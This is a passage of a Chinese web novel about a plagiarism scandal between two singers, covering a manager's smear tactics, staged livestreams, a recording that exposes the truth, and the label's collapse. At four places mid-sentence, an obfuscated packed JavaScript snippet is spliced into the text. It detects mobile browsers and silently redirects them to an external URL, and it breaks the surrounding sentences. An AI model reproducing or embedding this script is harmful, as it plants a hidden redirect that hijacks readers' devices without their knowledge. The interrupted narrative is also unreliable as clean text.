“一群傻逼,他们懂音乐吗?他们凭什么说我的歌难听啊?他们知不知道我为这张专辑熬了多少个通宵、付出了多少心血啊!” 吴海站在周落身边,脸色同样也不是很好看。 他也没想到事情会往这个方向发展。 公司花了那么多钱给周落的新专辑推流,还请了那么多人帮忙宣传,可结果非但没打过郁森屿不说,还惹来一片骂声。 想到这里,吴海忍不住翻了个白眼,吐槽道:“行了,你在这发火有什么用?又不能让网友改口说你的歌好听。你自己能力不行,低头任嘲得了,还好意思怪这怪那的。” 周落:“……” “不过往好处想,虽然现在情况不太好,但负面热搜也是热搜。这至少说明你现在的流量确实高,网友们都很关注你,也都在讨论你的新专辑。所以——” 吴海看向周落,“你现在的任务不是生气,而是沉住气,不要做任何回应。等这阵风过去了,我们再想办法。” 周落深吸一口气,压住脾气道:“想什么办法?” 吴海想了想,“我会联系一些大V,在网上带带节奏。对了,最重要的是,你最近也多开开直播。” “开直播?” 周落下意识皱眉,明显表现得不太情愿。 “对,开直播。” 吴海一脸严肃,仔细分析道:“郁森屿最近吃了直播的红利,舆论风向都开始好转了。你也开直播,一是可以分流,二是你可以在网上卖卖惨。 你就说你这段时间压力很大,看到网上那些颠倒黑白的言论觉得心寒,不要提郁森屿的名字,但话里话外的矛头要指向他。 把他抢你歌的这个事再次搬出来,好提醒网友不要忘记郁森屿的卑鄙和你的可怜。 到时候,自然有人站在你这边,支持你,心疼你,你什么也不用做,他们会替你冲锋陷阵的。 你只需要坐在那里,红一红眼眶就行。 你的眼眶越红,他们就越恨郁森屿。” …… 就像吴海说的那样,没过多久,周落真的开起了直播。 时间和郁森屿一模一样,明眼人都能看出来他这是要和郁森屿打擂台。 直播当天,周落穿着一件宽松的米白色毛衣,头发软软地垂在额前,整个人看起来柔和又脆弱。 他的声音带着一丝沙哑。 “谢谢大家来陪我聊天。” 弹幕瞬间刷屏。 “哥哥不客气。” “我们会一直陪你的。” “新专辑超好听的。” “……” 周落的粉丝疯狂刷弹幕,毫无保留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487107|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地表达她们对周落的支持和喜欢。但周落似乎没有注意到这些,或者说是他没心情注意这些。 周落微微低着头,情绪似乎很低沉。 他低头摆弄了一下杯子,沉默了几秒,然后慢慢抬起头,对着镜头挤出了一个笑容,眼眶却泛着红。 “其实今天开直播,也没什么特别的事。就是……最近有点累,想找人说说话。” 弹幕又开始刷屏。 “哥哥怎么了?看着好难过啊。” “哥哥累了就休息,不要给自己太大压力。” “周落你很棒,你已经做的很好了。” “……” 周落垂下眼睛,声音很低。 “有时候我真的会想,我做音乐到底是为了什么。我那么努力,那么认真,可不管我做什么,总有人觉得我不够好,觉得我不配。” “……” “我一个做音乐的人,从来没想过要跟谁争什么,只是想把歌唱好,把作品做好。 可有些人明明做错了事,却还要狡辩。不仅不承认,不道歉,甚至还要倒打一耙。 他这样的人还活跃在荧幕前,还有人支持他,我真是想不通……” 他没有指名道姓,但粉丝都知道他在说谁。 弹幕一片心疼。 “哥哥别哭。” “周落我们永远支持你!” “是不是因为郁森屿的事,那个抄袭狗不配跟你比!” “哥哥别理那些人”。 “……” 周落看到这些弹幕,没有肯定,也没有否认。 他只是轻轻摇了摇头,一脸无奈的样子。而后他叹了口气,勉强露出一个微笑。 “算了,不说这些不开心的了。我给大家唱首歌吧。新专辑里的,你们应该听过。” …… 虽然周落很快转移了话题,也没有指名道姓,更没有鼓吹他的粉丝要怎么怎么样。 可他的粉丝却把他的话放在了心上,把他的难过看在了眼里。 不用周落明说,他们的矛头已经指向了郁森屿,恨不得将这个害他们哥哥难过的人大卸八块。 部分粉丝更是直接跑到了郁森屿的直播间,疯狂谩骂。 “抄袭狗还有脸直播?” “支持周落!郁森屿滚出娱乐圈!” “抢别人歌的人不配做音乐!” “周落都被你逼得快抑郁了你知道吗?!” “……” 弹幕刷得飞快,满屏都是不堪入目的字眼。 这些弹幕郁森屿看到了,一开始他不想理会,后来不知看到了什么,他的手指猛地停在了琴弦上,歌声也戛然而止。 一连小个月直播从来都是只唱歌,没说一句话的人。 在此刻,终于抬起头,看向镜头,说了这么长时间以来的第一句话。 他的声音不大,但每一个字都清清楚楚。 “周落,你说,真的是我抢了你的歌吗?” 这句话说完,屏幕一黑,直播结束了。 面对着一片漆黑的屏幕,弹幕瞬间炸了。 “???下播了???” “卧槽,郁森屿直接点名了?这是要正面开战了吗?” “我靠我靠我靠,录屏了吗谁录屏了!!!” “好家伙,忍了大半个月,终于爆发了。这算是他第一次正面回应吗?” “……” 录屏片段被疯狂转发,评论区无比活跃,大家都在疯狂讨论。 与此同时,微博上也炸开了锅。 “我靠,他那个眼神……我感觉他是真的委屈。” “说实话,如果他是装的,这演技可以拿影帝了。” “周落呢?周落出来回应一下啊!人家都点名了!” “……” 就在网友们疯狂讨论的时候,一个人的出现更是让#郁森屿直播喊话周落#这个热搜词条热度直接爆炸,不仅瞬间登顶热搜第一,热度还居高不下。 这人就是姜至。 姜至转发了郁森屿喊话周落的录屏片段并发文: @郁森屿:加油,我相信你! 网友:“……” 网友:“!!!” 28. 真真假假 姜至是谁? 二十岁出道,是当今乐坛炙手可热的华语女歌手。 这些大家都知道,可问题是—— “姜至居然公开转发了郁森屿喊话周落的录屏片段,还说她相信郁森屿?” “啊,他俩居然认识吗?什么时候认识的?怎么认识的?虽然他们是一个圈的,但为啥我有种破次元的感觉啊?” “姜至为啥要帮郁森屿啊?竟然还公开站队他,确定没被盗号?” “……” 一时间,满屏都是问号。 作为郁森屿抄袭事件后,第一个公开站队郁森屿的公众人物,还是名气、流量、人品和观众缘都有目共睹的公众人物。 姜至这个时候站出来力挺郁森屿,无疑引发了网友们的很多好奇和揣测—— “他们之间到底是什么关系啊?” “能做到这种地步,如果不是交情够硬、信任够深,绝对不可能这么做。” “……” 网友们疯狂讨论,说什么的都有,各种揣测满天飞。 没过多久,#姜至郁森屿#的词条也随之冲上了热搜。 热搜里简直吵炸了,还有各种所谓的知情人士出来爆料。 有的说他们是远房亲戚,有的说他们曾经在同一家公司练习过,还有的说他们是青梅竹马……反正能想到的不能想到的,热搜上全说了。 就在大部分人还在胡猜乱猜的时候,有实力的人已经自己动手丰衣足食了。 也不知道他们是怎么做到的,仅凭网上的蛛丝马迹就能扒出姜至的小号。 这不扒不要紧,一扒就发现了一个惊天大消息—— 姜至的小号发的全都是和郁森屿有关的内容! 郁森屿的照片、郁森屿歌曲的链接、郁森屿演唱会的门票和现场照片…… 郁森屿被全网黑得最厉害的那段时间,姜至的小号也在持续不断地发布内容。 有专业的乐理分析,驳斥抄袭的指控,也有郁森屿早期创作的证据截图,还有简单却充满力量的一句她相信他。 后来,郁森屿渐渐不在公开场合露面后,这个小号也随之停更了。 就在这时,又有知情人士爆料,姜至当时之所以只用小号,没有公开表态,是因为她的前公司那时候管控她特别严。 她虽然火,但在公司根本没有什么实际话语权,尽管她想帮郁森屿,却有心无力,只能偷偷使用小号。 为此,她还和公司大吵了一架,反正闹得挺不愉快的。 可能也是因为这件事,没过多久,姜至就自立门户,成立了自己的工作室。 现在她和前公司的合约也到期了,自然想发什么就发什么,想站谁就站谁,谁也管不着,所以她第一时间就公开表示支持郁森屿。 这条爆料一出,网友们对姜至和郁森屿之间的关系更加好奇了。 “姜至是郁森屿的粉丝吧?还得是死忠粉的那种吧?这得是有多喜欢他才能做到这一步啊?” “郁森屿知不知道姜至是他粉丝啊?他们两个私底下有过来往吗?” “这俩明面上是八竿子都打不着,谁知道藏得够深的啊!” “……” 不仅网友们疯狂好奇姜至和郁森屿之间的关系,施浓也很好奇。 虽然她听系统说过,郁森屿是姜至的白月光,但他们之间到底发生过什么?郁森屿是怎么成为姜至的白月光的? 这些系统都没有告诉她。 越想越好奇,正好当事人就在她旁边,施浓干脆直接问起了当事人。 “你和姜至认识吗?” “其实……我们不太熟。” 当事人郁森屿的表情充满了困惑,模样看起来比网友们还迷茫和不解。 “我们只是在活动上打过照面,说过的话加起来还不超过五句,我也没想到……她竟然是我的粉丝吗?说实话,我还以为她讨厌我呢,没想到现在第一个公开为我说话的人居然会是她。” 施浓皱眉,越来越搞不懂现在这到底是什么情况了。 “啊,你怎么会觉得她讨厌你呢?” 郁森屿挠了挠头,不好意思地笑了笑。 “就是每次活动碰到,她看我的眼神都特别冷,感觉也不太想理我的样子。有次我在后台主动跟她打招呼,她特别冷淡地嗯了一声就走了。我以前还琢磨过,我是不是哪里得罪过她。” 施浓:“……” 胡说,怎么可能! 无论是看姜至的小号,还是系统所说的郁森屿是姜至的白月光这个事情,姜至都不像是讨厌郁森屿的样子,分明是很喜欢他啊! 可郁森屿说的也不像是假话…… 可能姜至就是那种越喜欢什么反而表现的越冷淡?明明心里激动的要命,脸上却装得风平浪静?她的冷淡不是因为不喜欢,而是因为……害羞了?? 施浓越想越觉得这种可能性很大。 要是真的是这样,那姜至这人还……怪可爱的。 别别扭扭但可可爱爱~ …… 没有从郁森屿这个当事人那里听到她想听的八卦,施浓虽然失望,但她并没有放弃,转头又去问了系统。 【亿哥,你肯定知道姜至和郁森屿之间是咋回事吧?为啥郁森屿啥都不知道啊?这小子到底是怎么成为姜至的白月光的啊?】 面对施浓的问题,系统没有直接回答她,而是让她看了网上的一段采访视频。 视频的主人公就是姜至。 姜至在这段采访里说,她小时候家里条件不好,隔壁阿姨经常给她送吃的,隔壁小哥哥也老来陪她玩。 她还记得,那阿姨是开饭店的,手艺特别好,她做的糖包是她这辈子吃过最好吃的东西。 后来她们家搬走了,她就再也没吃过那么好吃的糖包了。 “……” 看完这个采访,施浓瞬间就想到了郁森屿之前说的话—— 他说他们家有祖传的手艺,还说他妈和他姥爷都是正经大厨,开过饭店,手艺特别好。 姜至采访中所说的阿姨,大概率就是郁森屿的妈妈,而她说的隔壁小哥哥,那就是郁森屿了啊。 怪不得,原来还有这么一层渊源啊。 这样一切都说得通了。 郁森屿妈妈和郁森屿当年给隔壁小女孩送糖包、陪她玩的时候,估计也不会想到,他们种下的善意,能跨越二十年的时光,在此刻实现闭环。 想到这里,施浓的表情无比感慨。 人啊,果然还是得多做好事啊。 善有善报这话确实是有点说法的。 …… 有了姜至的公开站队,网上关于郁森屿的舆论,肉眼可见的,越来越好了。 姜至的人品大家都有目共睹,观众缘也很好,出道以来几乎零绯闻,零黑料,是业内公认的清流。 她能公开为郁森屿说话,她能喜欢郁森屿,这说明郁森屿这人也坏不到哪去吧。 另外,姜至小号发布的那些专业的乐理分析,看起来和之前的那个音乐区UP主做的澄清视频有异曲同工之妙。 这么多搞音乐、懂音乐的专业人士都说郁森屿没抄袭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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舆论发酵到第三天,周落终于发声了。 他开了直播。 镜头里,周落穿着一件黑色卫衣,面色略显憔悴,眼眶微红。 他沉默了几秒,深吸一口气,开口时声音有些发颤。 “对不起,让大家等这么久。这几天……我真的很难熬。” 周落哽咽道:“关于《Moon》这首歌,我必须说清楚。这首歌,是我大三那年写的。那时候我刚进公司,什么都不懂,郁森屿确实帮过我,我把他当哥哥,什么灵感都跟他分享…… 《Moon》这首歌我专门给他弹过,他当时笑着说这首歌真好听,发出去肯定会火。 当时我年纪小,不知道人心险恶,更没想到我信任的哥哥竟然会做出抢我歌的事。 他把我的歌放在他的新专辑里,声称那是他自己写的歌……甚至直到现在,他仍旧还不死心,还在坚持说那歌是他的——” 说到这里,周落吸了下鼻子,从镜头外拿出几张纸和几张手机截图。 “除了我之前已经展示过的那个写有我创作手稿的笔记本,这里还有一些我当时写歌时零零碎碎的记录以及我录的第一版demo,时间戳都在……我手里的这些东西足以证明《Moon》这歌是我的,而不是那些居心不良且什么证据也没有,整天仅凭一张嘴就想抢别人东西的人的!” 周落看向镜头,目光坚定又坦荡。 “我说的都是实话,我没做过任何亏心事,我问心无愧!” 29. 反转再反转 好家伙。 看了周落的直播,施浓直呼好家伙。 他大三的时候写的歌?他把灵感和郁森屿分享?他还给郁森屿弹过这首歌? 他……他说的全都是郁森屿的词啊! 明明是郁森屿大三时写的这首歌,明明是郁森屿把灵感分享给他,明明是郁森屿给他弹过这首歌,现在全变成他了??? 好家伙,他要不要脸啊,就这么明目张胆地强取豪夺又偷梁换柱的吗? 第一次见到这么厚颜无耻的人,施浓的心情久久不能平静。 而且也不知道周落那小子到底是怎么做到的—— 他直播镜头里展示的那个demo,时间戳竟然比郁森屿存在硬盘里的还要早几个小时,而且系统还说不是伪造的! 离谱,真就离了个大谱。 他手里捏着这样的东西,难怪他能那么有恃无恐,敢大言不惭地说《Moon》是他写的。 【亿哥,你知道是怎么回事吗?明明是郁森屿写的歌,为什么周落手里的demo时间比郁森屿的还要早?】 系统很快就回复了。 【宿主,这件事其实不复杂。郁森屿在创作《Moon》的时候,第一时间就和周落分享了。郁森屿当天只是即兴弹唱,没有录音。而周落听完之后,当天晚上就用手机录了一个demo存了下来。郁森屿是第二天才去录音棚正式录制的。所以周落手里的demo时间戳,比郁森屿的早了几个小时。】 听到这话,施浓不敢置信地瞪大了眼,声音都提高了半度。 “啊,所以他早在那个时候就开始算计郁森屿了?人的心机居然可以深到这种地步吗?他是得有多恨郁森屿啊?” 【宿主,你倒也不必将周落想得那么坏……周落当时录demo的时候估计也没想那么多,可能就是单纯觉得这首歌好听?估计他也没想到后面会被他这样使用吧。】 “……” 也许吧。 不管怎么说,也不管周落当时到底是怎么想的,反正现在的事实是周落手里有demo,时间戳比郁森屿的还早几个小时……这事发展成现在这个样子,确实是施浓没有预料到的,打了她一个措手不及。 现在可真说不清了,而且对郁森屿真的很不利。 除非他们能拿出更有力的证据,要不然《Moon》真成周落的歌了。 施浓正发愁,就在这时,她的手机突然震了一下。 她低头一看,竟然是好久没联系的音乐区UP发的消息。 “前老板,有个事跟你说。前几天我后台收到了一条私信,对方说手里有一段好几年前的录音,跟郁森屿和周落有关。我当时看完私信内容,手都在抖。你赶紧看看,我把截图发你。” 施浓心头一跳,立刻点开截图。 私信内容很长,是一个名为不具名的人发来的。 “UP主你好。最近我在网上看到你做的那个郁森屿抄袭事件的澄清视频,突然想起来了点旧事。 我上大学谈了个女朋友,女朋友是音乐学院的,有一天晚上大概九点多吧,我送我女朋友回学校,返程的时候经过他们学校的小音乐教室,听到有人在弹琴唱歌,唱得特别好听。 我当时也没多想,就站在门口用手机录了一段,想着回去搜一下这是什么歌,分享给我女朋友。 后来回去后家里有点事,我就把这事忘了,再后来又换了手机,这件事就更被我抛之九霄云外了。 最近我母亲离世,回老家收拾旧物,突然翻出了那部旧手机。充上电发现还能用,翻到了不少旧照片还有过往的一些东西,其中就包括那段录音。 我点开一听,我录音的那首歌,好像就是《Moon》,而弹琴唱歌那个人的声音,好像就是郁森屿。 在录音末尾,还有另一个人的声音,那人特别兴奋地说‘哥,你太厉害了,这首歌特别好听,要是发出去肯定能火’。 我不太关注娱乐圈,但郁森屿和周落这事闹得挺大的,我确实了解一点。 网上都在说《Moon》这首歌是郁森屿抢周落的,可我听录音中这歌明明就是郁森屿自己写的,而录音末尾那个夸赞的声音才是周落。 这段录音我反复听了好多遍,确定没有认错。 如果你看到这条私信的话,可以联系我,我可以把录音的原件发给你,希望可以帮到郁森屿。 这么有才华的人,不应该被那样冤枉。” “……” “!!!!” 施浓看完私信截图,一股巨大喜悦瞬间涌上了她的心头。 真是想什么来什么,这个消息也太及时了。 有了这段录音,所有的问题都将迎刃而解,周落的谎言也将不攻自破。 想到这里,她眼睛发亮,激动打字道:“录音呢?他发你了吗?” 音乐区UP主回复得很快。 “发了,我也听过了。确实是郁森屿和周落的声音,而且我去专业机构做了鉴定,这段录音保真。” “好好好!” 施浓太开心了,一连发了三个好字,情绪激动的不行。 “这段录音你打算卖多少钱,我买了!” 虽然她现在没有一分钱,可有了这段录音,郁森屿就能洗白了。等郁森屿洗白以后,她马上就会有钱的! 就算她现在是砸锅卖铁卖房子,她也得把这段录音搞到手! “前老板,你怎么能这么说呢?谈钱多伤感情啊。我可没打算管你要钱啊。” 施浓:“……” 你说这话你自己信吗? 真不是她想质疑音乐区UP主别有用心,但就从他们两个人之前的交往来说,他可是那个当初即使拿着巨额报酬也要纠结税前税后的人啊——:) 这么大好的赚钱机会,他竟然不要钱? 他的道德何时变得这么高尚了?竟然能视金钱为粪土了? 不信,打死她都不信! 这其中绝对有诈! 音乐区UP主这反常的举动瞬间引起了施浓的万分警惕。 “不要钱那你要什么?” 免费的东西最贵,这小子绝对要狮子大开口。 就在施浓以为音乐区UP主要提出什么离谱的条件的时候,音乐区UP主发过来的消息,却让她当场愣住了。 “前老板,这段录音是投稿人免费给我的,投稿人说希望可以帮到郁森屿,他觉得郁森屿很有才华,唱的歌也很好听,不应该就这样被淹没。 人家都这么说了,态度还这么诚恳,我要是拿这东西去换钱也太卑鄙了。 我也是有良心的人,虽然我可以为了钱没有底线,但也不是为了钱什么底线都可以不要的,我也是有原则的。” “……” “!!!” 施浓盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487109|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这行字,半天没反应过来,她简直不敢相信这些话竟然是从爱财如命的音乐区UP主的嘴里说出来的。 她缓了半天,还是忍不住道:“你确定?你真的什么都不要?好吧,就算你什么都不要,那你为啥要分享给我呢?这段录音放出去,播放量至少千万级别,你这可是独家首发,很珍贵的。” 音乐区UP主回复得理所应当。 “上次的澄清视频不是我们一起发的嘛,就因为那个视频,我的账号最近不仅播放量暴增,粉丝量也暴涨。说起来,还得感谢你呢。 我这人虽然爱钱,可也是知恩图报的人。 这次的这个录音我们也一起发,就当是感谢你,顺便交个朋友啦。 以后大家有流量一起享,有钱一起赚,要是还有什么类似的事情,记得还来找我哈。” “……” “!!!” 这么会做人你不要命了? 现在这个年头,像这小伙子这么有良心又真诚的人可不多了。 他这人是真能处! 施浓捂着嘴,感动得眼泪哗哗。 人心中的成见果然是一座大山。 是她格局小了,之前竟然还那么恶意地揣测人家,怀疑人家别有居心……实在是太不应该了。 感动过后,自我检讨过后,施浓干脆利落道:“好,苟富贵勿相忘,等我以后发达了,我是绝对不会忘记你的!” 看着吧,她这人说到做到。 等她有钱了,她第一个就要投资他! 她要让他成为音乐区……不,是整个平台,最大的UP主!就是那种前途明亮到能闪瞎别人狗眼的大UP主! 小伙子,啥都别说了,你的福气在后头。 …… 录音到手,要啥啥有。 施浓的心情美滋滋,一时间腰不酸了,腿不疼了,就连周落……她都能容忍他多蹦哒一会了! 他不是爱直播嘛,那就让他多直播一会,以后可不一定能播了哦。 施浓一边嗑瓜子,一边欣赏周落的卖惨直播,看得那叫一个津津有味。 等看够了,她拍了拍手,发消息给音乐区UP主。 两个人商量好时间,同时发布了录音,标题是无比简洁但很醒目的一句话—— 真相,从不缺席! …… 录音发布以后,瞬间引起了网上的轩然大波。 五分钟后,转发破万。 十分钟后,播放量破五十万。 二十分钟后,微博话题#郁森屿周落录音#词条冲上热搜前十。 四十分钟后,登顶热搜第一。 一个小时后,热搜词条的后面明晃晃跟着一个爆字。 热搜里,大家都讨论疯了。 “我的天我的天,真相居然是这样的!我反复听了十遍,细思极恐,周落也太阴险了吧!” “所以《Moon》真的是郁森屿的歌啊,《gift》也被证实没有抄袭……我天,郁森屿也太惨了吧,啥事没做,莫名其妙背上了一口巨大的黑锅,被人骂成狗。” “那些之前骂郁森屿的人呢?咋不继续骂了?” “周落他妈的也太能装了吧!一个人怎么能不要脸成这样!” “郁森屿好惨,周落好阴险,我们好愚蠢。” “周落呢?别装死,出来说两句啊!” “……” 30. 同归于尽 两个小时以前,周落还在美美直播。 因为他手里有具体时间戳的demo证据,再加上郁森屿那边迟迟没有放出证据,本来网上的舆论又开始偏向他这边了。 可他万万没想到,一个小时以后,舆论会发生两极反转。 怎么会这样呢? 他很清楚地知道郁森屿手里的demo时间戳肯定晚于他手里的。 明明一切都在他的计划中,明明事情一直进展得很顺利啊,怎么会半路杀出来个程咬金,突然冒出来一个该死的录音呢? 他完了,一切都完了。 周落呆呆地坐在床上,表情僵硬又难看。 不……还没完。 他突然站了起来,情绪激动道:“对,那录音肯定是假的,没错,是假的!肯定是郁森屿诈他呢!他手里如果有这么一段录音,肯定早都拿出来了,而不是等到现在。” 想到这种可能后,周落第一时间就打电话给经纪人吴海。 可电话根本打不通。 听着手机里不断传来的忙音,周落顿时想到了郁森屿出事时的情形。 郁森屿出事的时候,吴海也是不接他的电话,不回他的消息,而后就是狠踩他一脚,毫不留情地背叛他。 所以—— 现在是轮到他了吗? 吴海又想像当初对付郁森屿那样对付他吗? 他想得美! 周落的目光阴沉地看着前方,心中的怒火节节攀升,而后他猛地将手机摔在墙上。 砰—— 手机瞬间摔得四分五裂。 吴海以为他是郁森屿那个蠢货,任他摆布,不敢反抗吗? 他错了! 他不会这么善罢甘休的,如果他活不了,他也不会放过他的! 就像吴海之前说的那样,他们是一根绳上的蚂蚱,要死,大家得一起死! …… 吴海不接电话,手机也摔了。周落便用另一部手机给助理打电话,他的声音沙哑得不像话。 “给我安排,我要开直播。立刻!马上!” 助理犹豫道:“哥,海哥把你的账号都收了。而且现在开直播,网上的那段录音——” “那段录音是假的!” 周落几乎是吼出来的,“我现在必须马上开直播澄清!账号的事你——” 他话都还没说完,助理突然挂断了电话。等他再拨过去,电话那头已经是关机的状态了。 就算给助理一百个胆子,他都不敢挂他电话,肯定又是吴海搞的鬼,吴海肯定就在他旁边。 行,吴海这么整是吧?不让他说话是吧? 那他还非说话不可了! 周落立马注册了一个小号。 四十分钟后,他如愿开了直播。 因为是小号,直播间一开始根本没人,即使他把直播间的标题改成#我是周落#,也没啥特别好的效果。 只有零星几个不小心点进来的路人。 周落本想等人多点再开始说话,但又害怕人多了以后吴海那边也会收到消息,阻挠他直播。 想了想,他开启了录屏,而后就直接开始了。 “大家好,我是周落。我知道网上现在有一段录音在疯传,但请大家千万不要相信,那段录音是假的!是伪造的!请大家一定要相信我!” 他的声音又急又快,神情带着明显的急切。 直播间里,那几个误打误撞点进来的路人,一看直播的人真是周落,先是愣了几秒,然后就疯狂发起了弹幕。 “握草,好像真是周落?他怎么不用大号直播了?” “他说网上放出的录音是假的,真的假的?” “我不信,他整天鬼话连篇的,嘴里没一句实话,反正我不信。” “你说是假的就是假的啊,你有证据吗?” “……” 周落看到弹幕里几乎没有人愿意相信他的话,他的声音越来越大,情绪也越来越激动。 “我说的都是真的!你们想想,如果那段录音是真的,为什么没有早放出来?为什么要等到现在放出来?” 弹幕中有些人被这些话说服了。 “是啊,我也觉得奇怪,既然有这段录音,为啥不早放出来?这样的话郁森屿不早都洗白了嘛,也不用被骂得那么惨。” “录音的来源确实不明不白,再加上现在的科技这么发达,伪造一段录音应该不难……” “……” 看到这些弹幕,周落还没来得及开心,另一条弹幕的出现,彻底让他笑不出来了。 “别信他的鬼话!快去看!网上发了新东西,是司法鉴定报告,录音是真实的,不是伪造的!” 听到这话,周落的脸瞬间白了,心也猛地一沉。 紧接着,还没等他去看那个所谓的司法鉴定报告的真伪,突然有一大批人跑到了他的直播间,疯狂刷起了弹幕。 “好家伙,我直呼好家伙。这哥到现在还不知悔改,还在这嘴硬呢。” “司法鉴定中心出的报告!录音是真的,没有合成痕迹!” “周落,你不是说录音是假的吗?脸疼不疼?” “笑死,刚说完就翻车,这哥挺会给我们找乐子的!” “……” “这不可能……不可能!” 看到弹幕后,周落的手指开始剧烈颤抖,声音也又干又涩。 “那报告是假的!肯定也是他们伪造的!” 弹幕彻底炸了。 “司法鉴定中心的报告是假的?张口就来啊。合着你比这些机构还厉害呗?” “别演了,到这个时候还在演,你不累得慌吗?” “啧,这哥这演技,当歌手真是屈才了!” “周落,道歉!立刻道歉!” “……” …… 事情到了现在这种地步,有录音,有鉴定报告,证据很充足,丝毫没给周落任何转圜的余地。 完了,这次是真完了…… 周落关了直播,瘫坐在椅子上,表情灰败,眼神空洞。 他放在桌子上的手机一直在震动,他看见了,但是不想管。 电话是他助理给他打的,不,更准确来说,应该是吴海让助理打的。 他们打电话给他能说什么? 无非就是说一些不中用的废话,像是什么让他闭嘴,不要闹事,乖乖服从公司的安排…… 呵呵,笑话! 他们以为他是郁森屿那个蠢货吗? 他们以为他会听他们的吗? 不,他绝不! 他才不要像郁森屿那么可悲! 他才不要只有他一个人过得凄惨,这样不公平! 要死,大家得一起死! 想到这里,周落笑了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487110|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的笑容阴冷又疯狂,带着一种破罐子破摔的决绝。 “喂?”他拿起手机,拨通了几个星耀对家媒体的电话。“我有料要爆。关于周落、关于吴海、关于经纪公司星耀。你们想要独家吗?” …… 同一时间,吴海的办公室里。 吴海盯着手机上那份鉴定报告,脸色比死人还难看。 他拿起座机,拨通了公司老板的电话。 “李总,您看到了吗?那个鉴定报告……” 电话那头传来一个冷冰冰的声音。 “吴海,你还有脸问我?我让你办事,你就是这么办事的?你好大的能耐啊!你知不知道这件事给公司造成了多大的影响?” 吴海的额头渗出冷汗,“李总,我……” “别说了。”李总打断他,“我已经让法务部起草解约函了。周落这事,公司会发声明,和他切割。你去联系周落,让他闭嘴!告诉他,如果他好好配合的话,公司可以网开一面,不会赶尽杀绝,否则——” 他的话还没说完就挂了,但吴海明白他是什么意思。 他握着话筒,手都在发抖,而后赶紧吩咐助理。 “继续给周落打电话,一直打,打到他接为止。告诉他,别乱说话,公司不会亏待他,否则,后果自负!” 助理点点头,开始拨号。 一遍,两遍,三遍……周落的电话依旧打不通。 “海哥,他不接。”助理小心翼翼地说。 吴海皱了皱眉,又吩咐助理拨了几次,还是没人接。 “妈的!”他忍不住爆了粗口,一把抓起车钥匙,“别打了,我亲自去找他!” …… 星耀的公关速度很快。 吴海还在找周落的路上,星耀就已经针对网上闹得沸沸扬扬的录音事件发布了声明。 他们发布的这篇声明很长。 大概意思就是说公司完全不知情,也很痛心疾首,他们完全没想到周落竟然能干出这样的事,不仅占据别人的创作心血,还反咬对方一口。 当初,公司也是被周落蒙蔽了,听信了周落的一面之词。在这里,要向郁森屿道歉,并愿意承担郁森屿这么长时间以来的所有经济损失。 同时,公司要和周落解除合约,并保留追究他一切法律责任的权利。 星耀的处理态度很积极,该处理的处理,该认错的认错,该补偿的补偿……总而言之,态度还是很诚恳的。 星耀的声明发布后,虽然还是有很多骂公司的评论,但有星耀专业的公关团队在暗中操控,舆论也没有太难看。 相较之下,周落那边简直是惨不忍睹。 网上对他是一片骂声,他的评论区已经没法看了。 “恭喜你载入史册。” “郁森屿被你害了这么长时间,你晚上睡得着吗?” “啥时候道歉,还不出来道歉吗?” “偷梁换柱,黑白颠倒,做人怎么能坏到这种地步?” “……” 不仅网友在骂他,品牌方也纷纷下场与他割席。 那些曾经在演唱会上为他尖叫、为他呐喊的粉丝们,如今要么沉默,要么也加入了骂他的大军。 墙倒众人推,这句话在这一刻体现得淋漓尽致。 这是郁森屿曾经历过的至暗时刻,如今也是等到它真正的主人了。 31. 战争胜利 周落这人道德败坏,陷害郁森屿的事情已经板上钉钉,没什么可狡辩的了。 就在网友们以为这件事到这里就要终结的时候,谁知道一条娱乐八卦的出现,直接将这件事情推向了高潮。 【惊!郁森屿事件真相大白:这不是周落一个人的独角戏,而是一场三方(星耀高层、经纪人吴海、周落)合谋的围猎!】 瓜哥是网上出名的媒体营销号,专爆明星大瓜,爆料非常有可信度,曾一度被称为娱乐圈纪检委。 他一下放出了几十张截图,有聊天记录、转账凭证、邮件往来、通话录音,密密麻麻,这些东西一下就还原了当时的事情经过。 原来,不是周落一个人做局陷害郁森屿,而是星耀某个高层看郁森屿不顺眼,想搞他。这个高层找到了郁森屿当时的经纪人吴海,吴海又找到了周落…… 三个人一拍即合,狼狈为奸,联手设计了一个局。 他们诬陷郁森屿恃强凌弱、抄袭、抢占别人劳动成果……把种种罪名压在他的身上,让他从此跌落神坛,万劫不复! 